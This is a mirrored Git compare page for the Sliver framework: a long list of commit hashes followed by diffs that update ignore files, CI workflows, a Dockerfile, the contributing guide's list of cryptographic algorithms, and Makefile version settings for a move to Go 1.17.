mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1e8413a2fe | ||
|
|
ead0a5ea1e | ||
|
|
d0ec264454 | ||
|
|
9c7e47c95e | ||
|
|
4c5a099d5c | ||
|
|
4ed42e4a3d | ||
|
|
ffee881de0 | ||
|
|
339bf15387 | ||
|
|
92c9a50ba7 | ||
|
|
99e6765896 | ||
|
|
b5d1e9a3d1 | ||
|
|
d1dbd3dcb7 | ||
|
|
8b81de5129 | ||
|
|
bcc7fb0fcb | ||
|
|
795001f690 | ||
|
|
b0c4f89bcf | ||
|
|
fb72322065 | ||
|
|
a1e51d64d4 | ||
|
|
d15c257176 | ||
|
|
97d3da75b6 | ||
|
|
4e3efeb623 | ||
|
|
81c7dd69da | ||
|
|
6c3b754943 | ||
|
|
fbea84eeb6 | ||
|
|
0c83bdc6d1 | ||
|
|
476eafccf5 | ||
|
|
1501633565 | ||
|
|
addd22d2f7 | ||
|
|
f196278c3e | ||
|
|
3aa33d3679 | ||
|
|
ab197461ae | ||
|
|
6488df4374 | ||
|
|
15c5eb29e5 | ||
|
|
91e4f5a33b | ||
|
|
62a6ffd1ac | ||
|
|
336e944aee | ||
|
|
a69512ba65 | ||
|
|
3a1cd3a477 | ||
|
|
da0499f9da | ||
|
|
3169b436a8 | ||
|
|
26faea2ae0 | ||
|
|
11eb5f5f27 | ||
|
|
49d742cfad | ||
|
|
028521ddc0 | ||
|
|
66dad91d86 | ||
|
|
b9f8e045d9 | ||
|
|
8ffad32591 | ||
|
|
d60dcabd86 | ||
|
|
68cece2b96 | ||
|
|
5d3ef197e3 | ||
|
|
62c8d678e2 | ||
|
|
68fd6b27f9 | ||
|
|
21d2a10b7a | ||
|
|
efd4115a1c | ||
|
|
eed3f51be2 | ||
|
|
54b09d9a26 | ||
|
|
1bc1bc11c0 | ||
|
|
14aebe943c | ||
|
|
0f20dddc95 | ||
|
|
75e0b9d931 | ||
|
|
7af5280cd6 | ||
|
|
1d86383e0d | ||
|
|
3be52dde2f | ||
|
|
8b18bf571a | ||
|
|
6dacb8ad9f | ||
|
|
1db8e5a22e | ||
|
|
45f323eae9 | ||
|
|
22e615b1b4 | ||
|
|
afa534ea39 | ||
|
|
10429b7314 | ||
|
|
dfb6d2e1bb | ||
|
|
de3f2c827d | ||
|
|
4569621a8a | ||
|
|
f21242ca2c | ||
|
|
c13a71c92f | ||
|
|
9b85a63f69 | ||
|
|
fdab12c9a5 | ||
|
|
26abb42859 | ||
|
|
bf892e9c4b | ||
|
|
cb7f2b1aea | ||
|
|
44f16bb6a3 | ||
|
|
51af17906c | ||
|
|
4ba374cee6 | ||
|
|
55c1145b2d | ||
|
|
336fc4ffea | ||
|
|
581395e9a4 | ||
|
|
16ce440014 | ||
|
|
2bf87bff98 | ||
|
|
63c316e4d7 | ||
|
|
65788c1003 | ||
|
|
cf8e6ace2e | ||
|
|
131061a015 | ||
|
|
ed18705ccf | ||
|
|
88be0e0846 | ||
|
|
edd330a4e1 | ||
|
|
26c4d04d8d | ||
|
|
283f605351 | ||
|
|
fd82c4b171 | ||
|
|
3d0d61685c | ||
|
|
177358040f | ||
|
|
e4db7d3323 | ||
|
|
7b42983e4f | ||
|
|
441f97ad6f | ||
|
|
efea316519 | ||
|
|
f391f72b04 | ||
|
|
2ebaf3115c | ||
|
|
630adc0e48 | ||
|
|
981aa8b80f | ||
|
|
024f70edc5 | ||
|
|
bf9b3f4aa6 | ||
|
|
5fc94d24bd | ||
|
|
5394f77f4a | ||
|
|
b41ac3a229 | ||
|
|
5c3fd8cb2b | ||
|
|
adbe7c7def | ||
|
|
bfcbb0bba6 | ||
|
|
4495c36853 | ||
|
|
f8d2f30344 | ||
|
|
55752d1109 | ||
|
|
48f7560655 | ||
|
|
92e0f87d44 | ||
|
|
13498da60c | ||
|
|
9c878527a5 | ||
|
|
f81419614d | ||
|
|
368442e094 | ||
|
|
670c4b7f9a | ||
|
|
77693c6be1 | ||
|
|
35bd3fd44a | ||
|
|
a916f8b38b | ||
|
|
fa2645e186 | ||
|
|
597950fa0a | ||
|
|
2acced66f1 | ||
|
|
b0ff16aff9 | ||
|
|
18137f630b | ||
|
|
beab818baf | ||
|
|
39a6e13ae4 | ||
|
|
16a539807b | ||
|
|
d13a8a1e91 | ||
|
|
7ab136339e | ||
|
|
2e3c33689a | ||
|
|
8891c542b8 | ||
|
|
bfe3d6dfb5 | ||
|
|
fb573bb122 | ||
|
|
f780f70318 | ||
|
|
12c6a57362 | ||
|
|
afc8ccd61d | ||
|
|
5b3f1eeb7b | ||
|
|
3b7db1dea0 | ||
|
|
46d32e6130 | ||
|
|
815bf3c479 | ||
|
|
a4e28f37de | ||
|
|
ddc94ba556 | ||
|
|
bf484828cd | ||
|
|
8deb2c7bca | ||
|
|
f9c58caa78 | ||
|
|
ba6eda99c8 | ||
|
|
09b441f132 | ||
|
|
08bcff0517 | ||
|
|
a2d63eb4e9 | ||
|
|
cde5b8c2db | ||
|
|
bfed9c9343 | ||
|
|
8adab5786b | ||
|
|
d2a7feba5e | ||
|
|
b4d939bcb9 | ||
|
|
4d068268e2 | ||
|
|
dd52cefc22 | ||
|
|
3c9b8bb2cc | ||
|
|
8af24c9c3e | ||
|
|
2e1aa54130 | ||
|
|
5083ca3397 | ||
|
|
57b3ee28a7 | ||
|
|
2468abed25 | ||
|
|
a3cb2bca44 | ||
|
|
122e5bf3b0 | ||
|
|
09a0cc5a67 | ||
|
|
c8a9094a90 | ||
|
|
4247a0ddf8 | ||
|
|
c8834f63ef | ||
|
|
97715302a3 | ||
|
|
1fd74f69ea | ||
|
|
4dfa46c7ae | ||
|
|
6f8c726863 | ||
|
|
763c46bd37 | ||
|
|
a37749bf50 | ||
|
|
0c7c7b54d3 | ||
|
|
832ac585f7 | ||
|
|
14492dfbcb | ||
|
|
1e283e54a9 | ||
|
|
f679e99403 | ||
|
|
aab7143708 | ||
|
|
886ab348f4 | ||
|
|
8211f8f0e4 | ||
|
|
05cc038f2f | ||
|
|
1117f9b9c9 | ||
|
|
8670f50150 | ||
|
|
3613a2ffe3 | ||
|
|
483654d58f | ||
|
|
de27a5e132 | ||
|
|
2051abd663 | ||
|
|
b87a7034a9 | ||
|
|
8914559aec | ||
|
|
7f84913ab2 | ||
|
|
84494c1ad4 | ||
|
|
33a9fd6eae | ||
|
|
33e72b9601 | ||
|
|
45be3dff80 | ||
|
|
325fd47401 | ||
|
|
526c3c104a | ||
|
|
c4542d8def | ||
|
|
ade83e551f | ||
|
|
a7da3027ac | ||
|
|
edc6d21c23 | ||
|
|
31ca964e6c | ||
|
|
735ae74f1d | ||
|
|
49679538eb | ||
|
|
000ca54a15 | ||
|
|
eb615f3add | ||
|
|
acb0f857b3 | ||
|
|
610d8b18c9 | ||
|
|
edf126c149 | ||
|
|
1794d0cebd | ||
|
|
e66d563f65 | ||
|
|
8dd2b5d7ce | ||
|
|
10246681ba | ||
|
|
ed19017941 | ||
|
|
c0116cc9d5 | ||
|
|
a890812a0a | ||
|
|
b1922bce73 | ||
|
|
47aaeb0225 | ||
|
|
61c844db44 | ||
|
|
35bbc61a9a | ||
|
|
6453f477f4 | ||
|
|
b0709a364a | ||
|
|
2e65e1842f | ||
|
|
c068664854 | ||
|
|
e9debcc2a4 | ||
|
|
7ae2d0a481 | ||
|
|
b62e3354e0 | ||
|
|
e55afa7efe | ||
|
|
65dc11a40e | ||
|
|
2620673f50 | ||
|
|
e22d3ac58e | ||
|
|
604c3480cf | ||
|
|
ca8544a169 | ||
|
|
e1713bd418 | ||
|
|
0649a2680b | ||
|
|
280f5c6be7 | ||
|
|
77ddfd8013 | ||
|
|
48d2eed385 | ||
|
|
36d531fa86 | ||
|
|
ab2ab45edc | ||
|
|
2b2c1bdc13 | ||
|
|
983b5476bd | ||
|
|
cbd95a2003 | ||
|
|
a3b1693a41 | ||
|
|
434ca2fee9 | ||
|
|
92ef847a59 | ||
|
|
800c584397 | ||
|
|
b2a2dac63b | ||
|
|
954616b5a3 | ||
|
|
2cd4264101 | ||
|
|
b8d78c56e9 | ||
|
|
c5262aa807 | ||
|
|
17dba3543d | ||
|
|
7b0a83027e | ||
|
|
f46f7a36ff | ||
|
|
a369c46952 | ||
|
|
907ef9ca2f | ||
|
|
4df5c78b7e | ||
|
|
3765e016b4 | ||
|
|
6fa06e8d74 | ||
|
|
c3841efcef | ||
|
|
508e9ab9d9 | ||
|
|
433482031c | ||
|
|
a4a94eca98 | ||
|
|
ecea6049a8 | ||
|
|
1767c34f47 | ||
|
|
6fd1e4802b | ||
|
|
f745d9524e | ||
|
|
a8464d5b0c | ||
|
|
cc7a56e07b | ||
|
|
cdbf93d64b | ||
|
|
fdd319f6f3 | ||
|
|
22f840acbd | ||
|
|
9d200bb2aa | ||
|
|
17b6cf7a5e | ||
|
|
22efd18301 | ||
|
|
4d45883c72 | ||
|
|
b98bf6ef53 | ||
|
|
65ea935750 | ||
|
|
9865ee2396 | ||
|
|
ca7cf74387 | ||
|
|
9eb6fda037 | ||
|
|
1a5eb1c118 | ||
|
|
f43d01b4b0 | ||
|
|
96fe3c7db8 | ||
|
|
8188ba689d | ||
|
|
4517684728 | ||
|
|
ab1b72f410 | ||
|
|
fd83024e4b | ||
|
|
18ee8e5133 | ||
|
|
5a96962611 | ||
|
|
85b592b2b9 | ||
|
|
91a569f389 | ||
|
|
b646ca835c | ||
|
|
26993f797c | ||
|
|
ec743b2e85 | ||
|
|
0ac43c69d6 | ||
|
|
a2f8bac4b1 | ||
|
|
2c9643b404 | ||
|
|
1239b5fd87 | ||
|
|
d904a74d14 | ||
|
|
60aaeebe0b | ||
|
|
000ecb51eb | ||
|
|
fbddd67930 | ||
|
|
10f7b000b4 | ||
|
|
2f3ebbfcd5 | ||
|
|
b54d97b497 | ||
|
|
eedfb272a5 | ||
|
|
47857e903c | ||
|
|
0da314d925 | ||
|
|
c132b14272 | ||
|
|
f6b7e07653 | ||
|
|
60cbf09520 | ||
|
|
0090e8dfd8 | ||
|
|
099753fa74 | ||
|
|
6685bf486e | ||
|
|
6d5a288626 | ||
|
|
3bf157b29d | ||
|
|
146be0e814 | ||
|
|
065fc3ffa6 | ||
|
|
d3da84731f | ||
|
|
b451d90a33 | ||
|
|
c01ace4a67 | ||
|
|
e8d22af3bc | ||
|
|
50f83c958b | ||
|
|
6ac9a16aa7 | ||
|
|
caad9de26c | ||
|
|
70805d04f7 | ||
|
|
a3b98716a7 | ||
|
|
24f6a9d8ab | ||
|
|
d6b5571c7e | ||
|
|
c0b08cbd42 | ||
|
|
d567a21f8c | ||
|
|
105d80cdb7 | ||
|
|
d1627c9030 | ||
|
|
661732012d | ||
|
|
f55f248fbc | ||
|
|
6817c5a117 | ||
|
|
6b31d6985a | ||
|
|
47357c346a | ||
|
|
970ff6b80b | ||
|
|
126dc44c44 | ||
|
|
4abc395485 | ||
|
|
0f5284fb2d | ||
|
|
0f4dc27498 | ||
|
|
7ea5039e9a | ||
|
|
b1e4a016d4 | ||
|
|
785810ebea | ||
|
|
5779f337d0 | ||
|
|
ab93f0d1c6 | ||
|
|
d4cc59d1e6 | ||
|
|
03d1f92441 | ||
|
|
77ddf234bd | ||
|
|
a53bc17665 | ||
|
|
1682f58801 | ||
|
|
3d4e76990c | ||
|
|
d97fb249a8 | ||
|
|
e8714dbdec | ||
|
|
f69a4f8b92 | ||
|
|
c2925a8a57 | ||
|
|
6484b0c5a6 | ||
|
|
338b8bb5b2 | ||
|
|
15ca3871dd | ||
|
|
f11a1333bb | ||
|
|
4a2c9cb50e | ||
|
|
c8928b4864 | ||
|
|
13ecb9782b | ||
|
|
05ce79e986 | ||
|
|
a3c7d057f6 | ||
|
|
b3277d0f4c | ||
|
|
1f0e9d6995 | ||
|
|
478f677f55 | ||
|
|
7463298de1 | ||
|
|
7306d439e1 | ||
|
|
66d6e8043a | ||
|
|
11505d8f94 | ||
|
|
452d7b7fce | ||
|
|
606c5ac948 | ||
|
|
8ee4f786b4 | ||
|
|
79a96368d0 | ||
|
|
8176068bb5 | ||
|
|
ff8de9922e | ||
|
|
13cbf53851 | ||
|
|
56f339c8a3 | ||
|
|
e31fd56730 | ||
|
|
9af5d9126f | ||
|
|
d9499c26a1 | ||
|
|
5bd101bc47 | ||
|
|
0e1d21bb28 | ||
|
|
1f5a950752 | ||
|
|
3a1ff3fa52 | ||
|
|
9db930b10f | ||
|
|
2fa6bc2e59 | ||
|
|
2e3f92ed22 | ||
|
|
c552a2fd9f | ||
|
|
e729576a6d | ||
|
|
c9f04b0a1c | ||
|
|
a439c39d64 | ||
|
|
0471a219c4 | ||
|
|
6631727242 | ||
|
|
c21171d739 | ||
|
|
98aa4ed58c | ||
|
|
4ad1f1a561 | ||
|
|
d0a38bb792 | ||
|
|
ee8603b30c | ||
|
|
11ea01819f | ||
|
|
da39a82b83 | ||
|
|
3ce730a469 | ||
|
|
f52ee8c28f | ||
|
|
150511df9b | ||
|
|
3e8c3fc02e | ||
|
|
019d0d40f6 | ||
|
|
268aa95169 | ||
|
|
7775880277 | ||
|
|
ba541ffd43 | ||
|
|
a60cc86c9a | ||
|
|
0099e06cc6 | ||
|
|
b0fdec2700 | ||
|
|
8419cf7442 | ||
|
|
d470543f98 | ||
|
|
84d41f063b | ||
|
|
c876f34cd0 | ||
|
|
7ba3f87afb | ||
|
|
008f9c6fde | ||
|
|
80e6c2a24e | ||
|
|
69842674d2 | ||
|
|
b2f9ccfab6 | ||
|
|
358b6ab20d | ||
|
|
268db3ce00 | ||
|
|
03dfb2f5d9 | ||
|
|
d4e809d889 | ||
|
|
6f6fd8f0f5 | ||
|
|
f5e374293c | ||
|
|
8f12e35124 | ||
|
|
b27809d9ba | ||
|
|
377d56bda3 | ||
|
|
4bcb0cb61f | ||
|
|
9d6870e792 | ||
|
|
93b1e3a7b4 | ||
|
|
90f799a6f2 | ||
|
|
251423bc28 | ||
|
|
03957f4d01 | ||
|
|
a7d07e372a | ||
|
|
364b0d6f57 | ||
|
|
52ef179988 | ||
|
|
79a50d24fe | ||
|
|
4e23091147 | ||
|
|
98e7f7abf8 | ||
|
|
92e833a481 | ||
|
|
b442f95a7b | ||
|
|
da8d5b8a0c | ||
|
|
3151b559a6 | ||
|
|
b02489a5d3 | ||
|
|
eb57802c28 | ||
|
|
767644ddc3 | ||
|
|
185913c6eb | ||
|
|
e3093bee6e | ||
|
|
f6014393be | ||
|
|
90de40f1ee | ||
|
|
43548ad4b2 | ||
|
|
09358666a1 | ||
|
|
213ad330c5 | ||
|
|
f7d7bdc677 | ||
|
|
c292ac4b28 | ||
|
|
f576c138c9 | ||
|
|
216054e90c | ||
|
|
62e311fb6f | ||
|
|
90de32b6f2 | ||
|
|
cc2a5bb622 | ||
|
|
b8b20711fe | ||
|
|
3d7889183a | ||
|
|
d2297f9423 | ||
|
|
de7fd664cd | ||
|
|
f87582462d | ||
|
|
1549b894fa | ||
|
|
32119e09dc | ||
|
|
4dd5319987 | ||
|
|
860452c418 | ||
|
|
87fba59c57 | ||
|
|
ab58a67df4 | ||
|
|
424db7bdca | ||
|
|
cec1451dec | ||
|
|
4d64866a15 | ||
|
|
1d859f99c8 | ||
|
|
e79e3daf7d | ||
|
|
1a632f48ff | ||
|
|
83adb36bbd | ||
|
|
686452a65e | ||
|
|
e436e9ca89 | ||
|
|
db29281233 | ||
|
|
65cea9eeb2 | ||
|
|
06a44f980b | ||
|
|
952f22583e | ||
|
|
5429c8d45a | ||
|
|
9e8bfb62d7 | ||
|
|
45ef2a27a9 | ||
|
|
93a1492a05 | ||
|
|
b554b49b42 | ||
|
|
e7d8495cb0 | ||
|
|
2ebb2734bf | ||
|
|
c3f5f2bf85 | ||
|
|
515b927791 | ||
|
|
35489e974f | ||
|
|
e2cf688044 | ||
|
|
79772297bc | ||
|
|
7d4de43559 | ||
|
|
7df290386e | ||
|
|
fc5673b33e | ||
|
|
31a53a4cba | ||
|
|
8967bcf35d | ||
|
|
6d4b28731e | ||
|
|
235201f701 | ||
|
|
d1135d1d68 | ||
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
3c07043531 | ||
|
|
b60e826a02 | ||
|
|
d337d4f13c | ||
|
|
80b40341d8 | ||
|
|
c4101f502d | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
69d99e28fd | ||
|
|
a811b53561 | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 | ||
|
|
4bf7246b0a | ||
|
|
febf50e464 | ||
|
|
59bdaa7469 | ||
|
|
cce67c289a | ||
|
|
97e7df764c | ||
|
|
33e03df1c9 | ||
|
|
d8fc1244d6 | ||
|
|
93e5d21941 | ||
|
|
7f31a9ea3e | ||
|
|
242afb0011 | ||
|
|
a427f86c4e | ||
|
|
93935b1691 | ||
|
|
a13a4dc12e | ||
|
|
4fa4562bea | ||
|
|
61b86a4a9a | ||
|
|
4c2a309054 | ||
|
|
465eb8cfee | ||
|
|
55da1a5dde | ||
|
|
bf44f379ec | ||
|
|
e5430caf8d | ||
|
|
60c5c2ee89 | ||
|
|
9cf607d155 | ||
|
|
e3a6b237f1 | ||
|
|
2c70ff1291 | ||
|
|
4a3a2a7be3 | ||
|
|
2a8f9bca18 | ||
|
|
d46a67c840 | ||
|
|
8b99a98d5e | ||
|
|
043eda5bc4 | ||
|
|
a51d93cf58 | ||
|
|
44abb0e03b | ||
|
|
09d94ab559 | ||
|
|
1420ebd447 | ||
|
|
96a531f9d4 | ||
|
|
7ef4923fc0 | ||
|
|
3f83761a90 | ||
|
|
f3bdb5cadc | ||
|
|
fd3df6a3f3 | ||
|
|
3c6b60bc3e | ||
|
|
d42373e545 | ||
|
|
76e4f430d0 | ||
|
|
ab8d431c39 | ||
|
|
e4ad404822 | ||
|
|
9e6a771a1a | ||
|
|
94eb13610b | ||
|
|
394fdb4a1e | ||
|
|
69ebbcb728 | ||
|
|
5c65da3567 | ||
|
|
1c67a11c29 | ||
|
|
755bed951b | ||
|
|
7ba4e5bec0 | ||
|
|
5d8d49461c | ||
|
|
cadc717963 | ||
|
|
ce4a7c7dcc | ||
|
|
ab8ff6a06a | ||
|
|
3b93554df2 | ||
|
|
b688b7b121 | ||
|
|
3ce603a3c7 | ||
|
|
9d3b6564f8 | ||
|
|
9cdb3e6def | ||
|
|
2df7f1319f | ||
|
|
4ad24ac3a0 | ||
|
|
3d9df17d43 | ||
|
|
d53c646af0 | ||
|
|
601c1eea64 | ||
|
|
12ee96451a | ||
|
|
cc304ba85a | ||
|
|
a743a72500 | ||
|
|
6c75b08648 | ||
|
|
d928ca58dd | ||
|
|
c18ba5fcb8 | ||
|
|
0e9545ae1c | ||
|
|
e6d1041068 | ||
|
|
85265d663f | ||
|
|
7a38ddffb6 | ||
|
|
5b160e358e | ||
|
|
f94f0fc938 | ||
|
|
714499b21b | ||
|
|
9be7ccb209 | ||
|
|
a43850333b | ||
|
|
f6351f725a | ||
|
|
1079a559ab | ||
|
|
5bcf9ba893 | ||
|
|
ebfa3ca86c | ||
|
|
6c62dfb486 | ||
|
|
76cd61a27d | ||
|
|
35d692b4ca | ||
|
|
a1058aa4f0 | ||
|
|
ae3c082498 | ||
|
|
d3a107cf43 | ||
|
|
ee5acfe47b | ||
|
|
10c3062016 | ||
|
|
5e80dfcfb9 | ||
|
|
5bcfa4c249 | ||
|
|
ac3e29a287 | ||
|
|
a3af100db0 | ||
|
|
7489c69962 | ||
|
|
3859b3493e | ||
|
|
874023b8c3 | ||
|
|
5f971b36d4 | ||
|
|
b2451c4bfb | ||
|
|
2af5195c85 | ||
|
|
bff100ad31 | ||
|
|
b20ee295bb | ||
|
|
249f9355f2 | ||
|
|
3793fae878 | ||
|
|
3e8ce33a49 | ||
|
|
2ea95543a9 | ||
|
|
1857b9c0ed | ||
|
|
9e56e9ac4b |
No files matched your search
+15
-22
@@ -1,28 +1,21 @@
|
||||
assets/*.zip
|
||||
assets/darwin
|
||||
assets/linux
|
||||
assets/windows
|
||||
server/assets/fs/**.zip
|
||||
/server/assets/fs/**.zip
|
||||
|
||||
*.sdk.tar.xz
|
||||
/*.sdk.tar.xz
|
||||
|
||||
sliver-server
|
||||
sliver-server.exe
|
||||
/sliver-server
|
||||
/sliver-server.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client.exe
|
||||
|
||||
gui/
|
||||
gui/*
|
||||
/.vscode/
|
||||
/.vscode/*
|
||||
|
||||
.vscode/
|
||||
.vscode/*
|
||||
/.github/
|
||||
/.github/*
|
||||
|
||||
.github/
|
||||
.github/*
|
||||
|
||||
build.py
|
||||
LICENSE
|
||||
SECURITY.md
|
||||
README.md
|
||||
CONTRIBUTING.md
|
||||
/build.py
|
||||
/LICENSE
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -59,10 +59,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.16"
|
||||
go-version: "^1.17"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +50,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.16
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+8
-7
@@ -1,10 +1,11 @@
|
||||
.vscode/*
|
||||
.devcontainer
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
Dockerfile.*
|
||||
*.sdk.tar.xz
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
release-*
|
||||
/release-*
|
||||
|
||||
# Diffs
|
||||
*.orig
|
||||
@@ -30,10 +31,10 @@ sliver-server-windows.zip
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
/*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
/*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
|
||||
+2
-1
@@ -24,9 +24,10 @@ Contributing to Sliver
|
||||
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
|
||||
* Whenever possible, use the following algorithms/encryption modes:
|
||||
- AES-GCM-256
|
||||
- RSA-OAEP-2048 / RSA-OAEP-4096
|
||||
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
|
||||
- Curves P521, P384, P256
|
||||
- Curve25519, XSalsa20, and Poly1305 (Nacl)
|
||||
- ChaCha20Poly1305
|
||||
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
|
||||
- MD5
|
||||
- SHA1
|
||||
|
||||
+11
-8
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16.5
|
||||
FROM golang:1.17.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# protoc
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# assets
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
RUN ls -lah \
|
||||
&& /opt/sliver-server unpack --force \
|
||||
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
@@ -3,36 +3,50 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ENV = CGO_ENABLED=1
|
||||
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
